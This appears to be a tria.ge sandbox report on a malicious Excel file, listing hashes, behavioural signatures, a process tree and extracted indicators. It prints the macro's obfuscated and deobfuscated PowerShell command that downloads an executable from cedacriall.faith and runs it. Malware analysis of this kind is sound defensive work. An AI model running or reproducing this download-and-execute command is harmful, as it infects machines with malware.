Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
46s -
max time network
40s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
15/08/2024, 02:44
Behavioral task
behavioral1
Sample
2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65.xls
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65.xls
Resource
win10v2004-20240802-en
General
-
Target
2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65.xls
-
Size
71KB
-
MD5
0eecd2469bcbffa61fe624d868a5e7d9
-
SHA1
406737ead14edf10eb951a9eea75c657ab2ec7dd
-
SHA256
2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65
-
SHA512
862057f6be783526c3b43fa5db582931bf4e3bd2b57faba929b18ab8b226fd531513a24bb710b7d709368b5287f78f71491e169597c4f0fc8b506d345d028d0b
-
SSDEEP
1536:WkxEtjPOtioVjDGUU1qfDlaGGx+cL+LIfdAMvZif71rzVm1jrKSFKp:WkxEtjPOtioVjDGUU1qfDlaGGx+cL+LM
Malware Config
Extracted
https://cedacriall.faith/1aqalpiniahelfuimoksa.exe
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2700 2852 cMd.exe 83 -
pid Process 2644 powershell.exe 2644 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2852 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2644 powershell.exe 2644 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2644 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2852 EXCEL.EXE 2852 EXCEL.EXE 2852 EXCEL.EXE 2852 EXCEL.EXE 2852 EXCEL.EXE 2852 EXCEL.EXE 2852 EXCEL.EXE 2852 EXCEL.EXE 2852 EXCEL.EXE 2852 EXCEL.EXE 2852 EXCEL.EXE 2852 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2852 wrote to memory of 1940 2852 EXCEL.EXE 87 PID 2852 wrote to memory of 1940 2852 EXCEL.EXE 87 PID 2852 wrote to memory of 2700 2852 EXCEL.EXE 91 PID 2852 wrote to memory of 2700 2852 EXCEL.EXE 91 PID 2700 wrote to memory of 2644 2700 cMd.exe 93 PID 2700 wrote to memory of 2644 2700 cMd.exe 93
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:1940
-
-
C:\Windows\SYSTEM32\cMd.execMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^u B^Ypa^S^s ^(^ne^w-^ob^ject s^ys^t^em.n^e^t^.we^b^cl^i^e^n^t)^.do^wnloa^d^f^il^e('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','%appdata%.exe')^;^star^t-pr^oc^es^s^ '%appdata%.exe'"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2700 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcu BYpaSs (new-object system.net.webclient).downloadfile('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','C:\Users\Admin\AppData\Roaming.exe');start-process 'C:\Users\Admin\AppData\Roaming.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2644
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:3416
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD585c8222bbf75594135e95be6b0419240
SHA148af661d1b3fd9937cb880507c5f638387f144fe
SHA25691293d1d72e52c6ced9c8f1e3b2b8adbee6ef28cc8015456ef87ce80dfa5b2a8
SHA5124c4a4ebf173089ca5579ee7b32f6d233eb062e465a7cd4b99df764219ccd862167b4a179660ae65f47a83c744a377739fe4410753f1413cea947c006232565f5